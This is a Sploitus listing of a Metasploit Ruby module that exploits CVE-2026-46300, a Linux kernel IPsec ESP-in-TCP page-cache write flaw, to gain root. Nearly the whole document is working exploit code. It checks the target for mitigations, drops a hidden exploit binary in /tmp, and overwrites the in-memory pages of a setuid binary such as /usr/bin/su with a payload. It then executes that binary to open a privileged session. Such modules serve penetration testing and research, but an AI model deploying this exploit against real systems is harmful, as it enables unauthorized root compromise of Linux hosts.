Sploitus

Exploit for Fragnesia LPE

metasploit · 2026-05-14

Exploit Code

ruby162 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_46300_FRAGNESIA-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Architecture
  include Msf::Post::Process
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fragnesia LPE (CVE-2026-46300)',
        'Description' => %q{
          This module exploits CVE-2026-46300, a Linux kernel local privilege
          escalation vulnerability introduced in version 4.10. The flaw resides in the kernel's IPsec
          ESP-in-TCP handling: when an ESP-encapsulated TCP segment containing a
          shared fragment (SKBFL_SHARED_FRAG) is received and decrypted, the AES-GCM keystream
          is applied to page cache pages of the target file without enforcing
          write permissions. This allows an unprivileged attacker to overwrite
          arbitrary bytes of a read-only file backed by the page cache. Upstream fix is ported
          independently by different vendors, so there's release version from which each kernel is
          not vulnerable anymore.
        },
        'References' => [
          ['CVE', '2026-46300'],
          ['URL', 'https://github.com/v12-security/pocs/tree/main/fragnesia']
        ],
        'Author' => [
          'William Bowling', # discovery / PoC
          'msutovsky-r7' # metasploit module
        ],
        'DisclosureDate' => '2026-05-14',
        'License' => MSF_LICENSE,
        'Arch' => ARCH_CMD,
        'Platform' => ['linux', 'unix'],
        'Targets' => [['Automatic', {}]],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),
      OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])
    ])
  end

  def check
    # it is based on same principle as dirty frag, so we can check the same mitigations
    dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')

    return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?

    sysinfo = get_sysinfo

    if sysinfo[:distro] =~ /[uU]buntu/
      apparmor_restriction = cmd_exec('sysctl kernel.apparmor_restrict_unprivileged_userns')
      return CheckCode::Safe('Ubuntu system detected, cannot create unprivileged user namespaces, which exploit requires') unless apparmor_restriction =~ /apparmor_restrict_unprivileged_userns = 0/
    end

    vuln_modules = %w[esp ipcomp]

    return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }

    kernel_version = Rex::Version.new(kernel_release.split('-').first)

    return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')

    CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
  end

  def exploit
    # Check if we're already root
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
    end

    suid_binary_path = datastore['SUID_BINARY_PATH']

    fail_with(Failure::BadConfig, "The #{suid_binary_path} isn't a setuid binary on target system") unless setuid?(suid_binary_path)

    payload_dir = datastore['WRITABLE_DIR']
    fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)

    os_architecture = kernel_arch

    vprint_status("Detected architecture: #{os_architecture}")

    cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec")
    fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')

    cmd_payload.datastore['CMD'] = payload.encoded
    cmd_payload.datastore['PrependSetuid'] = true
    elf = cmd_payload.generate_simple('Format' => 'elf')

    exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

    if live_compile?
      vprint_status('Live compiling exploit on system...')
      exploit_c = exploit_data('CVE-2026-46300', 'cve-2026-46300.c')
      upload_and_compile(exploit_file, exploit_c)
    else
      fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(os_architecture)
      vprint_status('Dropping pre-compiled exploit on system...')
      exploit_bin = exploit_data('CVE-2026-46300', "cve-2026-46300_#{os_architecture}")
      upload_and_chmodx(exploit_file, exploit_bin)
    end

    register_file_for_cleanup(exploit_file)

    if session.type == 'meterpreter'
      suid_binary_size = session.fs.file.stat(suid_binary_path).stathash['st_size']
    else
      suid_binary_size = session.shell_command("stat -c %s #{suid_binary_path}").to_i
    end

    print_status('Running the exploit')

    fail_with(Failure::BadConfig, 'Payload too big for target setuid binary') unless suid_binary_size >= elf.size

    # patch the in-memory pages of the setuid file
    exploit_response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}")

    fail_with(Failure::NotVulnerable, 'The target seems to be patched') unless exploit_response.blank?

    sleep(1)
    print_status('Exploit successful, running the in-memory patched setuid binary')

    # run the payload
    cmd_exec(suid_binary_path.to_s)
  end

  def on_new_session(session)
    if session.type.eql?('meterpreter')
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.sys.process.execute('/bin/sh', "-c 'echo 1 | tee /proc/sys/vm/drop_caches'")
    else
      session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches')
    end
    super
  end

end